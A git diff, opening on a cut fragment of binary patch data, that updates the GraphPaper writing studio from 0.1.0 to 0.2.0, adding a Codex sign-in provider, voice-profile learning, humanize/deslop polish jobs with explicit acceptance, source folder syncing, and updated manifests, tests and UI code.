zQ$Ls`m%$;7R9Y+RSoG|-*;F!&!XQoSiZzV6KUegB2Tj@=^=C:\Users\aron\AppData\Local\Temp\GraphPaper-release-97a16cdb5c6f4a558141f884c6d33f38\tests\test_studio_update.py:172: Symlinks unavailable for this Windows account \ No newline at end of file diff --git a/graphpaper/__init__.py b/graphpaper/__init__.py index f62b835..d9ef2ba 100644 --- a/graphpaper/__init__.py +++ b/graphpaper/__init__.py @@ -1,2 +1,2 @@ """GraphPaper: an evidence-aware, graph-native writing studio.""" -__version__ = "0.1.0" +__version__ = "0.2.0" diff --git a/graphpaper/graphify_adapter.py b/graphpaper/graphify_adapter.py index b27fab0..ab729d5 100644 --- a/graphpaper/graphify_adapter.py +++ b/graphpaper/graphify_adapter.py @@ -14,6 +14,8 @@ def run_graphify(project: Project, clients: Clients, job): + if clients.settings.provider == "codex": + raise ValueError("Use Native extraction or import a Graphify JSON graph with Codex sign-in. The optional external Graphify process requires its own API credentials.") executable = clients.settings.graphify_executable or shutil.which("graphify") if not executable or not Path(executable).is_file(): raise ValueError("Graphify is not installed or its executable was not found. Select Native in Connections, import graph.json, or install graphifyy and choose its executable.") diff --git a/graphpaper/models.py b/graphpaper/models.py index b2119e4..1d36d2f 100644 --- a/graphpaper/models.py +++ b/graphpaper/models.py @@ -126,6 +126,30 @@ class Review(Model): draft_hash: str = "" +class VoiceProfile(Model): + enabled: bool = True + strength: int = Field(75, ge=0, le=100) + name: str = Field('My writing voice', max_length=160) + instructions: str = Field('', max_length=12000) + sample_ids: list[str] = Field(default_factory=list) + sample_hash: str = '' + learned_at: str = '' + metrics: dict[str, Any] = Field(default_factory=dict) + observations: list[str] = Field(default_factory=list) + + +class PolishCandidate(Model): + mode: str + original_hash: str + draft: str = Field(max_length=1_000_000) + created: str = '' + review: dict[str, Any] = Field(default_factory=dict) + before: dict[str, Any] = Field(default_factory=dict) + after: dict[str, Any] = Field(default_factory=dict) + protected_spans: int = 0 + diff: list[str] = Field(default_factory=list) + + class Project(Model): id: str = Field(default_factory=lambda: uid("p_")) title: str = Field(default="Untitled project", min_length=1, max_length=200) @@ -146,12 +170,16 @@ class Project(Model): feedback: list[dict[str, Any]] = Field(default_factory=list) usage: dict[str, Any] = Field(default_factory=lambda: {"calls": 0, "input_tokens": 0, "output_tokens": 0, "reported_cost": 0.0, "unpriced_calls": 0}) demo: bool = False + voice_profile: VoiceProfile = Field(default_factory=VoiceProfile) + polish: PolishCandidate | None = None + auto_import: bool = True class Settings(Model): - provider: Literal["openrouter", "openai-compatible", "anthropic"] = "openrouter" + provider: Literal["openrouter", "openai-compatible", "anthropic", "codex"] = "openrouter" base_url: str = "https://openrouter.ai/api/v1" model: str = "" + codex_executable: str = "" editor_model: str = "" extraction_model: str = "" max_output_tokens: int = Field(7000, ge=1000, le=64000) diff --git a/graphpaper/pipeline.py b/graphpaper/pipeline.py index e06eba4..96f0d07 100644 --- a/graphpaper/pipeline.py +++ b/graphpaper/pipeline.py @@ -253,7 +253,8 @@ def source_pack(p: Project, query: str, limit=38000, ids=None): def voice_notes(p: Project): - return [{"title": s.title, "sample": s.text[:3500], "note": "Style reference only. Do not copy wording or treat as factual evidence."} for s in p.sources if s.enabled and s.role == "voice"][:3] + from .voice import voice_context + return voice_context(p) def make_outline(p: Project, clients: Clients, job: Job): @@ -330,7 +331,7 @@ def revise(p: Project, clients: Clients, job: Job, store: Store, instruction="", review = review_draft(p, clients, job) if not p.review.summary or p.review.draft_hash != digest(p.draft) else p.review pack = source_pack(p, (instruction or review.summary) + original[:4000], min(28000, clients.settings.context_chars // 3)) job.note("Revising the draft without changing its intended thesis or fictional canon.", 87) - revised = clients.complete(BOUNDARY, dumps({"task": "Revise this complete piece. Preserve its best lines, nuance, voice, factual limits and intentional ending. Fix material issues rather than flattening style. Do not add unsupported claims. Return the complete revised Markdown only, not a critique or preface. Source citations remain [S1] format. Fiction has no inline scholarly citations.", "mode": p.mode, "brief": p.brief.model_dump(), "author_instruction": instruction, "review": review.model_dump(), "draft": original, "sources": pack}), role="editor") + revised = clients.complete(BOUNDARY, dumps({"task": "Revise this complete piece. Preserve its best lines, nuance, voice, factual limits and intentional ending. Fix material issues rather than flattening style. Do not add unsupported claims. Return the complete revised Markdown only, not a critique or preface. Source citations remain [S1] format. Fiction has no inline scholarly citations.", "mode": p.mode, "brief": p.brief.model_dump(), "author_instruction": instruction, "review": review.model_dump(), "draft": original, "sources": pack, "author_voice": voice_notes(p)}), role="editor") # Invalid references cannot be accepted through an automated revision gate. audit = citation_audit(p, revised) candidate_project = p.model_copy(deep=True) @@ -391,7 +392,7 @@ def active(self, project_id): return next((j for j in self.jobs.values() if j.project_id == project_id and j.state in {"queued", "running"}), None) def start(self, project_id, action, instruction=""): - if action not in {"graph", "angles", "outline", "draft", "review", "revise"}: + if action not in {"graph", "angles", "outline", "draft", "review", "revise", "voice", "humanize", "deslop", "both"}: raise ValueError("Unknown action") with self.lock: if self.active(project_id): @@ -413,7 +414,13 @@ def _run(self, job, p, settings, instruction): clients = self.clients_factory(settings, self.vault, job) try: self.store.snapshot(p, "Before " + job.action) - if job.action == "graph": + if job.action == "voice": + from .voice import learn_voice + learn_voice(p, clients, job) + elif job.action in {"humanize", "deslop", "both"}: + from .polish import polish_draft + polish_draft(p, clients, job, job.action, instruction) + elif job.action == "graph": build_graph(p, clients, self.store, job) elif job.action == "angles": make_angles(p, clients, job) diff --git a/graphpaper/providers.py b/graphpaper/providers.py index 58d07a0..fd29384 100644 --- a/graphpaper/providers.py +++ b/graphpaper/providers.py @@ -111,7 +111,7 @@ def post(self, url: str, payload: dict, key: str, label: str, anthropic=False) - def complete(self, system: str, user: str, *, role="writer", json_mode=False, max_tokens=None) -> str | dict: s = self.settings model = {"editor": s.editor_model, "extraction": s.extraction_model}.get(role) or s.model - if not model.strip(): + if not model.strip() and s.provider != "codex": raise ProviderError("Choose a writing model in Connections. Model IDs are configurable; GraphPaper does not silently substitute one.") if len(system) + len(user) > s.context_chars: raise ProviderError("This request exceeds your configured context character budget. Raise it for a suitable model, narrow the selected graph or split the project. Nothing was silently truncated.") @@ -119,6 +119,11 @@ def complete(self, system: str, user: str, *, role="writer", json_mode=False, ma base = endpoint(s.base_url) if json_mode: system += "\nReturn only a valid JSON object. No fences, commentary, NaN or Infinity." + if s.provider == "codex": + from .codex import get_codex + self.check('https://chatgpt.com') + text = get_codex(self.vault.path.parent, s.codex_executable).complete(system, user, model, self.job, s.max_calls) + return parse_json(text) if json_mode else text if s.provider == "anthropic": data = self.post((base if base.endswith("/v1") else base + "/v1") + "/messages", {"model": model, "system": system, "messages": [{"role": "user", "content": user}], "max_tokens": cap}, self.llm_key(), role, True) if data.get("stop_reason") == "max_tokens": @@ -178,6 +183,9 @@ def decide(self, state: dict | str, questions: dict) -> dict | None: return answers def discover_models(self): + if self.settings.provider == 'codex': + from .codex import get_codex + return get_codex(self.vault.path.parent, self.settings.codex_executable).models() if self.settings.provider == "anthropic": headers = {"x-api-key": self.llm_key(), "anthropic-version": "2023-06-01"} else: diff --git a/graphpaper/server.py b/graphpaper/server.py index 3dcee68..c9c7302 100644 --- a/graphpaper/server.py +++ b/graphpaper/server.py @@ -147,6 +147,7 @@ async def create_project(request: Request): if p.mode == "fiction": p.brief.format = "Short story" p.brief.avoid = "Expository monologues, generic imagery, unearned resolutions, continuity breaks." + app.state.folders.path(p) return store.create(p) @app.post("/api/demo") @@ -168,7 +169,7 @@ async def update_project(pid: str, request: Request): version = raw.pop("version", None) if version != p.version: raise Conflict("A newer project version exists. Refresh; your unsaved editor text has been kept in this window.") - allowed = {"title", "brief", "draft", "outline", "angles", "selected_angle", "feedback"} + allowed = {"title", "brief", "draft", "outline", "angles", "selected_angle", "feedback", "voice_profile", "auto_import"} if set(raw) - allowed: raise ValueError("Unsupported project field") if "draft" in raw and p.draft != raw["draft"]: @@ -193,13 +194,15 @@ def add_source(pid, title, text, kind="text", role="evidence", url="", warnings= raise ValueError("Limit: 100 sources per project.") text = clean(text) fingerprint = digest(text) - if any(s.digest == fingerprint for s in p.sources): + if any(s.digest == fingerprint and s.role == role for s in p.sources): raise ValueError("This text is already in the project.") n = max([int(s.id[1:]) for s in p.sources if re.fullmatch(r"S\d+", s.id)] + [0]) + 1 p.sources.append(Source(id=f"S{n}", title=title[:300], text=text, kind=kind, role=role, url=url, warnings=warnings or [], digest=fingerprint, author=author[:300], published=published[:100])) if p.graph.nodes: p.graph.warnings = list(dict.fromkeys(p.graph.warnings + ["Sources changed after the last graph build. Rebuild before relying on coverage."])) - return store.save(p, p.version) + p = store.save(p, p.version) + app.state.folders.original(p, p.sources[-1]) + return p @app.post("/api/projects/{pid}/sources/text") async def source_text(pid: str, request: Request): @@ -212,7 +215,9 @@ async def source_file(pid: str, file: UploadFile = File(...), role: str = Form(" await file.close() title = Path(file.filename or "source.txt").name[:300] text, warnings = await run_in_threadpool(extract, data, title) - return add_source(pid, title, text, kind=Path(title).suffix.lstrip("."), role=role, warnings=warnings) + p = add_source(pid, title, text, kind=Path(title).suffix.lstrip("."), role=role, warnings=warnings) + app.state.folders.original(p, p.sources[-1], data, title) + return p @app.post("/api/projects/{pid}/sources/url") async def source_url(pid: str, request: Request): @@ -322,5 +327,7 @@ async def import_project(request: Request): p.title = (p.title + " · imported")[:200] return store.create(p) + from .studio_routes import install + install(app, store, vault, runner, settings) app.mount("/static", StaticFiles(directory=asset_directory()), name="static") return app diff --git a/publish-manifest.json b/publish-manifest.json index a61870f..d2692fe 100644 --- a/publish-manifest.json +++ b/publish-manifest.json @@ -2,71 +2,99 @@ "repository": "AronAxe/GraphPaper", "files": { ".gitattributes": "acdb1038616f95b335ceb851c161a6139bf23561b2a74894a9ccb33ded5e71f4", + ".github/topics.json": "341aa983b1829624dec7ab7cd2e83eed08d45bc78305033c1e860631c1227e41", ".github/workflows/import-build.yml": "c56a990b97242f154907f76059f5b859448ca8de7b582928d63bb3717ac0d60a", ".github/workflows/quality.yml": "8cb33528c74e888ea54ef1715d83a093402bd2d1d2491d6be6f69fef6b6fb30b", - ".github/workflows/windows.yml": "97cd8d77889cc402e83e38ae858b4508c04d66c829d5a69354c9f4bc88ab3243", - ".gitignore": "f6913a561709aacbcb26c9f750f7891be315c794b2ee7dcc9cbcacc8e2d499a8", - "CHANGELOG.md": "91703d04a40a08e8984044807933dd2467663b72d55d7d4df23c410b73e87bd8", + ".github/workflows/windows.yml": "71c6a0dcb1cf9d85f4321822fca51ba6c4d6832e23156f4758bfcc394ce0d9bc", + ".gitignore": "229a84e2b07c91b31c30f06df236ea17fe211eb75b217adc2eecb3f9d377f9bf", + "CHANGELOG.md": "602dc1d73f768c6d35eb0ce9ddad0a28a55e2c41de4b41aaf8b999cc6d54b85c", "GraphPaper.pyw": "e862a9309815483e4c166396da8eccd304c118461f6b220246dd18c23bcc9bb4", "LICENSE": "5849844cbc9e9e199cf576224279d63d5fa56ca913f7a13285e4aa4fcb99bf80", "Open GraphPaper.vbs": "6ddf70eba29c281f9373c11b6aa7f69862c8ea7b03050b974c98d817ca11974e", "Publish GraphPaper.pyw": "a55984668dd0040d9bb5fc8c4c18ea5a201eede7e8a51ab79f8f0f095162ec8b", "Publish GraphPaper.vbs": "f9c595bcd13da5df60dcc2cfd906665243628f6e6c10a8b6a03ad1392a9698ad", - "README.md": "25bbc9ce3d5315737b98b0337238ff41586a068d198af424f942d9e489cbec4d", + "README.md": "8143bd573f2895b73af114b25ed90c2d58b4f44247d3fa01446da6db412537be", "docs/ARCHITECTURE.md": "46ffc5baa76654ed590515422c399be347ac0b7f74536216936c4626e485f5cd", "docs/INTEGRATIONS.md": "09b1c5bf44f17e79446c99ea9b41cec76350e726469c1dca997405654672db62", "docs/PUBLISHING.md": "70991445e9ad24ad65ed7153615ca9020aef41eb8d27aea4f3ba43ff8e116d08", - "docs/QUALITY.md": "fa9058c0a68b29e17b019966dfa278d0a47a2bd2328699aa159bf92851f86dfd", + "docs/QUALITY.md": "910fc903a109a5df1c72294dcc5f14ae5dcbd18a68dea8c7f198cabe0fba30e9", + "docs/RELEASE-0.2.md": "c03a41903088590845d0da0707a562b9e6cbf4c5e1ff57d8794763f349093e44", "docs/SECURITY.md": "c896569c368a261b1ba32e7930f5bc8c887b91ccc8c5562c63e7c47867e3ad08", + "docs/UPDATE-0.2.md": "cd71d4bb37bfdbb859fa4ea558a91e0cb61f900f0a4390d87f513abb8b8d815d", "docs/WINDOWS.md": "51d606354cb8dd4d0c714458493844a146e4ebfc549e4df873de04f123150e64", "docs/images/angles.webp": "1f9a0b5b46c9ae7e84ed1f96ea909d8ca6ba3f7daad2d86f424332c0aac1fb4e", + "docs/images/codex-v0.2.webp": "ffb7333e4e6e3d6ddea2ec85f223c9669f5e272ac98f29918ed62516093dec4c", + "docs/images/folder-v0.2.webp": "a0a1fbbd5090c61a8593dc9f3410e9114360fa6e1b98caec488f79272b69be74", "docs/images/graph.webp": "c14057145f1d11e6aac7a67cd8e7b0d64a26121bfccca502cfb500da124c0d82", + "docs/images/graphpaper-header.svg": "80bfe7844f469ef2c3d63dd7ca2321d6c24ebed7f5c56555d797227e81a7955e", + "docs/images/humanizer-v0.2.webp": "3654ab85e4dee3a15a59c206a7c1f7a14b9f9793479e4938af0f32a9f7937b5e", "docs/images/light.webp": "caca0fb694a07bb66ebd68567c64718f1437b8b36d3b8327135a491302a2e2a9", + "docs/images/voice-v0.2.webp": "e7e97b982994d026df590ab0769137ea76f016f67b7fed35f41470e90354ec2b", "docs/images/welcome.webp": "6dcdefa7d665b0f2c9363df0cf85c011f9f4cc150f8f261a950d15b265808663", "docs/images/writing.webp": "e96666a0ceaddb21bf3b33a3dcd0ec84d1eaad3b410ca29a859b4a6cf313aded", "docs/validation/browser.json": "5692769d1e74ce27b9ddd97c858573178b7a15bcc47fc6358cf2bac39774668d", "docs/validation/loopback.json": "6edcf86c685dcf15c926002d6128fd40e4ad5b37f6449973b8f8465d30fb68f9", "docs/validation/pytest.xml": "58085cc6c3e680e826e0a5c0bc782a53cdbd1a7a5e30ed9997531ba9e038fc0d", + "docs/validation/v0.2/browser.json": "5692769d1e74ce27b9ddd97c858573178b7a15bcc47fc6358cf2bac39774668d", + "docs/validation/v0.2/codex-runtime.json": "d103f97769745d4d7a552887cea47380706fa9e4d75dcab1d0424064475d72da", + "docs/validation/v0.2/loopback.json": "caab542951b4eb83f86f959f36fbbdad604f507d07ba9754cd06cd9626059f14", + "docs/validation/v0.2/package.json": "19cc3b40205f73760bfb8398cdd7153230f08a01b8aa7cb3214543ca2eb293a1", + "docs/validation/v0.2/studio.json": "b26277877389bde6c83956862415f54fb6aa5015d2b266257274bc36d892a5f4", + "docs/validation/v0.2/windows.xml": "57ac7d539cddd28a31d6452cc965430b4a6b00d7fae52458a2847831937c953c", "examples/README.md": "0b7b83630202501a3ba6ad070708419aa23e32c8060ef9447491c6434043bbf6", "examples/fiction.json": "e3f90c0eed71102640c8a65ae86510e0258e9c90c3cc18730ed05329f632e88d", "examples/nonfiction.json": "af9196cf15dbe1d431f02c7d8ec11a720f25e1c3e30a756c1f9711b4c65a08cc", - "graphpaper/__init__.py": "473909bfea3184f6fac9e8f74e55acd9dabdbfe96a7a785f4b797ce49869d081", + "graphpaper/__init__.py": "66eb5ca3f645281ad322a9c3d1253269332c0caf26174e7ba59fc27d016695ae", + "graphpaper/author_web.py": "16ad1218ce0bf76bdd067e731176357586a28dfb55d297a393a3e6a596e126ff", + "graphpaper/codex.py": "87a1f409dd06e755e0f4aa5cab66f3cd45f26f58658df96adf961d86d10ab98c", "graphpaper/demo.py": "5fcee68b786da702cd4365dca17e3f5df415fa26c7c6928568d64d8b7d693006", "graphpaper/desktop.py": "d176c01f271430e0c4215384ca886f6053823a835414abb9a34fbda83a77198f", "graphpaper/export.py": "f964f4e64364a9392dcb8a3e64b91d1e2e071cd9d593ca052c066681c0c37801", + "graphpaper/folders.py": "37f9b255406e3ff93b6f6886294722c14561a4c1195d5c2107fe67c8de6fbca8", "graphpaper/graph.py": "36310ecd1e89af94f799c4fbc4611d90fea640edcbb07f06f92b832f90300770", - "graphpaper/graphify_adapter.py": "12915cc22e0121dcb8e0b6ea3a602e2067066afd14268f4c1e324cf0cfc2ec32", + "graphpaper/graphify_adapter.py": "3db9a67427664b2ad4b3d2bc31089f162a4d1868f41a0d07e51e7e1ff02dc95f", "graphpaper/ingest.py": "6cb0d9b0d1412e08f627c045f6e70db44882bdf3fd18ff03ea8922a4af83cce8", - "graphpaper/models.py": "420dfa0d871d3c16a4d22bb224c69062a873b16b9bec0d24be8f4b65c58684ae", - "graphpaper/pipeline.py": "7afe84d929160140f65a30d7c0cef4d5020d163e8246008274a301b3475b0c94", - "graphpaper/providers.py": "0e16ba31daf6ab3c35c140fc5f8672acb6d1acc1af5565185ddf4de590580386", + "graphpaper/models.py": "af24623c051d99a108b11cbbbc0f0d25896d20667d462426418614c3c7fdb799", + "graphpaper/pipeline.py": "c4475297377f93cd7712f5c6110a5f1166cc0f228dd64a98eaf25e19ed3271d7", + "graphpaper/polish.py": "8890acded2fee782f88c98177250b58625cd93a045895b5c2f5d286056c46ae7", + "graphpaper/providers.py": "9f74857dcb77eb2d916b0f55c7d5bc24a080c15850b3e4378c225d7bd2cd076f", "graphpaper/secrets.py": "6b7f7e11db619317fc7fd8a27d86d253fe45aa61d607154258a613658044b143", - "graphpaper/server.py": "3bf0fb8f9ce42625f1b35348c28b7d87dbcba57ef65757e01fb30effb6c2a6ea", + "graphpaper/server.py": "70143ff271fe7eb0f08457179c9b175a9675a9d8fbe9ab6b55afd15c94ca6c24", "graphpaper/storage.py": "38b0df820a0c4dae0199bf38656d529e726a4475fe7a47b66e41903e96d14eae", + "graphpaper/studio_routes.py": "bc77494829dfff3961a1076f7a152a5f9119c34d2038abde25105a78b67c8ff9", "graphpaper/support.py": "2f4a3f5f7f6a725b15719a775155bdc73c32ce0df022d43b4fb53dbf7e862d8e", - "pyproject.toml": "99455e6b6201e16373750c1a1dc10028c8daf7de1b414ddaaae1025aaa96485c", + "graphpaper/voice.py": "2527ef556be695942e481bf3df099beb05937c7a059d0e1ece94d7ca32d0e51e", + "pyproject.toml": "4e370871614f8696cd51bea95efcd01ccdd92e601ed344afcd86f07c4782da6e", "requirements-desktop.txt": "182bf080861b4cfda8adcb7ce9debff7181b7619ab8452445e143ec8ebf7044e", "requirements-dev.txt": "180b600f70aadb56ce7665a5697a5b788cbc10351189b3442927096a6632b78e", "requirements.txt": "9bdbe67c6139451e1bf2a81169beb52484343d785fdda8196c91ecd23884828b", + "scripts/build_release.ps1": "00d358ddbafbd02f4e4ede9cbfcee0ffdc250fac09789f5f168220ee28d61f6f", "scripts/build_windows.ps1": "44e0008ff8221097ead7355aa184a60e824d2fcbf0c77e54c74ddfc8f3a54858", + "scripts/bundle_codex.py": "651d08e26949dbda47bca14dbc368d97b82e11a28759792cb6096adcea174efa", + "scripts/check_codex.py": "2fff4a6cc80188d54914086ab3f3d7d3cf1ec02001541bad6bc8a426fc1bbc81", "scripts/check_package.py": "ef863315ea3f21a8f94b412276849df73d1b4fb0aaa30d7890a62a426a6cc4b7", "scripts/desktop_entry.py": "97db3eedabd7fa1397386419d627479c31c889d7f593f81f971b443ee27ea514", "scripts/prepare_assets.py": "a77238973118112411cd0ac4e2e4b6b52c6193c7e52de9680362501cc77d4136", "scripts/publish_gui.py": "46bf7dff734e16b31c322e45bbf80abcfa29d7fbbc93f4c8162a119ff9c79ef4", "scripts/ui_smoke.py": "367cd36f8d03a180cc377678cf58db9d986c884928b4dc62c2e37d96898ccfcd", + "scripts/ui_studio_smoke.py": "c1cd0e8b5c884a63004311724c5a41617d204a2bdbeb24f672c5f481d86ba85a", "tests/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "tests/conftest.py": "ec52ebc98e568bae0f9ae6223d5f48640f0698d7605987bdafded5c814bf5381", "tests/test_api.py": "05e5e721805fdd9511fd7d7296984cb13ccb5a5d919f512d84822dbb99591908", + "tests/test_codex_runtime.py": "35688888c892c30bf1e745ab94f09dcf7b8a5cf99c29019b5e15bb172cf3fb6a", "tests/test_core.py": "167baaef162cfb6212e70fd6a1354479ab31352b4ed1000281a8773260d5a6d5", "tests/test_desktop_and_publish.py": "1230c3de1a3beecfae95a70dc44961ceabcfa99910fe204cdea1cce3dfe6128c", "tests/test_pipeline.py": "28373af3ea4739c252de747710923f6945f06a3397b9e59344263c117f48487a", "tests/test_providers.py": "83737b8773b8a11936675fba26388848cf6d95f40ef4b6db25baf40baa9d79cb", "tests/test_safety.py": "41a739403206f67fa9b286f56eae6e07c668ec06f2f70f8a45a184bf8f74da6a", + "tests/test_studio_update.py": "d01b6c74cd0afc300f4468755213d9d21a1f58986efe61eca9d58c3f677c9653", "tests/test_windowless.py": "421620004c87cf24dec771966602b0666e75ecca67fec05071cf40e4b6887f44", - "ui/app.js": "837aa4111bd7fc4003768e96551a0c630a7d9c1cf6e40d484bdc825d0d93bddb", + "ui/app.js": "c55c58e134eedf7f0ae5f7c0ec93e6e5829237e5ea80aa2d41d41fd5f435604e", "ui/graphpaper.ico": "f94c4061c53e8e1a1f2be96ef1a8c18b20c19a984bc35f6337f1037c1025a493", "ui/icon.svg": "9f97b80a90020b682f96756d1245dfa3cc9f19ed989b0751f802220a3934be0f", - "ui/index.html": "fe9efcf02b30dd769d19504dc198501f2507be8a0b0074bd0aff79bdbec889c0", + "ui/index.html": "b2a07fc114c06163a2453d2ae1a38254bb44c13fc65128b12becb2b794c5a92d", + "ui/studio.css": "c143a880c50ed59b9d315afaacd20377d6e47c54a701ea105f5c0757cde43a24", + "ui/studio.js": "35ec4ed3ac5e691855680103b96fcc184eca9c61089753ebc7e0cfcf79c8ee87", "ui/styles.css": "99fb8fb724a74d2d8cc31ea1e7e6b4422f87dfff7015d26313129e999d8631c2" } } diff --git a/pyproject.toml b/pyproject.toml index 6f45bcc..6f1f205 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "graphpaper-studio" -version = "0.1.0" +version = "0.2.0" description = "A local-first graph-guided writing studio for nonfiction and fiction" readme = "README.md" requires-python = ">=3.11" @@ -24,7 +24,7 @@ pythonpath = ["."] addopts = "-ra" [tool.setuptools.data-files] -"share/graphpaper/ui" = ["ui/index.html", "ui/styles.css", "ui/app.js", "ui/icon.svg", "ui/graphpaper.ico"] +"share/graphpaper/ui" = ["ui/index.html", "ui/styles.css", "ui/app.js", "ui/icon.svg", "ui/graphpaper.ico", "ui/studio.js", "ui/studio.css"] [project.optional-dependencies] desktop = ["pywebview>=6.0,<7"] diff --git a/scripts/bundle_codex.py b/scripts/bundle_codex.py index 6d68d38..862b9fd 100644 --- a/scripts/bundle_codex.py +++ b/scripts/bundle_codex.py @@ -23,7 +23,7 @@ def get(url): def main(): - version=os.getenv('CODEX_RELEASE_TAG','latest') + version=os.getenv('CODEX_RELEASE_TAG','rust-v0.160.1') api='https://api.github.com/repos/openai/codex/releases/'+('latest' if version=='latest' else 'tags/'+version) with get(api) as r:release=json.load(r) if release.get('prerelease') or release.get('draft'): diff --git a/scripts/ui_studio_smoke.py b/scripts/ui_studio_smoke.py index 0537238..8878833 100644 --- a/scripts/ui_studio_smoke.py +++ b/scripts/ui_studio_smoke.py @@ -16,7 +16,7 @@ from graphpaper.server import create_app from graphpaper.models import Settings from tests.conftest import ScriptedClients -from playwright.sync_api import sync_playwright +from playwright.sync_api import sync_playwright, expect class StudioClients(ScriptedClients): @@ -122,11 +122,11 @@ def bridge(req): page.get_by_role('button',name='Humanize',exact=True).click();page.get_by_role('button',name='Create proposed edit',exact=True).click();wait(page,'humanize') assert client.get(base).json()['draft'].startswith('It is important') page.get_by_role('button',name='Compare proposed edit',exact=True).click();page.wait_for_selector('.studio-compare');page.screenshot(path=str(out/'humanizer.png'),full_page=True) - page.get_by_role('button',name='Accept this edit',exact=True).click();page.wait_for_selector('#manuscript');assert page.locator('#manuscript').input_value()=='the measured value was 12.5% [S2].' + page.get_by_role('button',name='Accept this edit',exact=True).click();expect(page.locator('.modal')).to_have_count(0);expect(page.locator('#manuscript')).to_have_value('the measured value was 12.5% [S2].') report['checks'].append('Humanizer proposal, side-by-side comparison and explicit acceptance') page.locator('#manuscript').fill('It is important to note that another point remains unchanged.');page.wait_for_timeout(800) page.get_by_role('button',name='Deslop',exact=True).click();page.get_by_role('button',name='Create proposed edit',exact=True).click();wait(page,'deslop') - page.get_by_role('button',name='Compare proposed edit',exact=True).click();page.get_by_role('button',name='Discard proposal',exact=True).click() + page.get_by_role('button',name='Compare proposed edit',exact=True).click();page.get_by_role('button',name='Discard proposal',exact=True).click();expect(page.locator('.modal')).to_have_count(0) assert client.get(base).json()['draft'].startswith('It is important') report['checks'].append('Separate deslopping pass and non-destructive rejection') page.locator('[data-action="settings"]').click();page.locator('#s-provider').select_option('codex') diff --git a/ui/app.js b/ui/app.js index 35ac14b..c99beff 100644 --- a/ui/app.js +++ b/ui/app.js @@ -65,7 +65,7 @@ function progressDone(t){const p=state.p;return t==='sources'?p.sources.length>0 function render(){ const p=state.p,s=state.settings; document.documentElement.dataset.theme=s.theme||'dark'; - $('#app').innerHTML=`
${''}
${icon('check')}${esc(state.save)}${p?ibtn('Project options','project-options','settings'):''}${btn(p?'Export':'Import project',p?'export':'import-project',p?'download':'upload','small')}
${p?projectHTML():welcomeHTML()}
`; + $('#app').innerHTML=`
${''}
${icon('check')}${esc(state.save)}${p?ibtn('Project options','project-options','settings'):''}${btn(p?'Export':'Import project',p?'export':'import-project',p?'download':'upload','small')}
${p?projectHTML():welcomeHTML()}
`; if(p&&state.tab==='graph'&&p.graph.nodes.length)requestAnimationFrame(drawGraph); setupDrops();paintJob(); } @@ -119,8 +119,8 @@ function drawGraph(){ function selectNode(id){state.node=id;state.edge=null;state.path=[];drawGraph();refreshDirection();} function refreshDirection(){const e=$('.direction-panel');if(e)e.outerHTML=directionHTML();} function paintJob(){const slot=$('#job-slot');if(!slot)return;const j=state.job;if(!j){slot.innerHTML='';return;}const msg=j.messages?.at(-1);slot.innerHTML=`
${busy()?'':icon(j.state==='completed'?'check':'alert')}
${esc(typeof msg==='string'?msg:msg?.text||j.action+' · '+j.state)}
${esc(j.state)} · ${fmt(j.usage?.calls)} calls · ${fmt((j.usage?.input_tokens||0)+(j.usage?.output_tokens||0))} tokens ${j.usage?.reported_cost?'· $'+Number(j.usage.reported_cost).toFixed(4)+' reported':''}${j.error?' · '+esc(j.error):''}
${busy()?btn('Cancel','cancel-job','stop','small ghost'):ibtn('Dismiss job result','dismiss-job','x')}
`;} -async function startJob(action,instruction=''){if(!editable())return;await flush();if(!state.settings.allow_cloud&&!['localhost','127.0.0.1','[::1]'].includes(new URL(state.settings.base_url).hostname)){toast('Connect your model and allow sending selected material before running AI actions.');showSettings();return;}if(!state.settings.model){toast('Choose a writing model in Connections first.');showSettings();return;}state.job=await api('/projects/'+state.p.id+'/jobs',{action,instruction});render();poll();} -function poll(){clearTimeout(pollTimer);if(!state.job)return;const jid=state.job.id,pid=state.p.id;pollTimer=setTimeout(async()=>{try{const j=await api('/jobs/'+jid);if(state.job?.id!==jid||state.p?.id!==pid)return;state.job=j;paintJob();if(['queued','running'].includes(j.state)){poll();return;}const p=await api('/projects/'+state.p.id);state.p=p;syncSummary();if(j.state==='completed'){state.tab={graph:'graph',angles:'angles',outline:'outline',draft:'write',review:'write',revise:'write'}[j.action]||state.tab;state.layout={};toast('Finished. Your project is saved locally.');}else toast(j.error||'Job stopped. Saved versions are still available.',j.state==='failed');render();}catch(e){toast(e.message,true);poll();}},1000);} +async function startJob(action,instruction=''){if(!editable())return;await flush();if(!state.settings.allow_cloud&&!['localhost','127.0.0.1','[::1]'].includes(new URL(state.settings.base_url).hostname)){toast('Connect your model and allow sending selected material before running AI actions.');showSettings();return;}if(!state.settings.model&&state.settings.provider!=='codex'){toast('Choose a writing model in Connections first.');showSettings();return;}state.job=await api('/projects/'+state.p.id+'/jobs',{action,instruction});render();poll();} +function poll(){clearTimeout(pollTimer);if(!state.job)return;const jid=state.job.id,pid=state.p.id;pollTimer=setTimeout(async()=>{try{const j=await api('/jobs/'+jid);if(state.job?.id!==jid||state.p?.id!==pid)return;state.job=j;paintJob();if(['queued','running'].includes(j.state)){poll();return;}const p=await api('/projects/'+state.p.id);state.p=p;syncSummary();if(j.state==='completed'){state.tab={graph:'graph',angles:'angles',outline:'outline',draft:'write',review:'write',revise:'write',humanize:'write',deslop:'write',both:'write',voice:'sources'}[j.action]||state.tab;state.layout={};toast('Finished. Your project is saved locally.');}else toast(j.error||'Job stopped. Saved versions are still available.',j.state==='failed');render();}catch(e){toast(e.message,true);poll();}},1000);} function newDialog(mode='nonfiction'){showModal('Begin a new project','You can change the direction as the work develops.',`
`,btn('Create project','create-project','arrow','primary'));} function rolesHTML(value){return ['evidence','canon','inspiration','voice'].map(v=>``).join('');} function pasteDialog(){showModal('Bring a source into the studio','Keep the original text. The graph will link its claims back to these passages.',`
`,btn('Add source','add-text','plus','primary'),true);} diff --git a/ui/index.html b/ui/index.html index 444f47e..078248f 100644 --- a/ui/index.html +++ b/ui/index.html @@ -3,8 +3,9 @@ GraphPaper — Writing studio - + +

Opening your writing studio…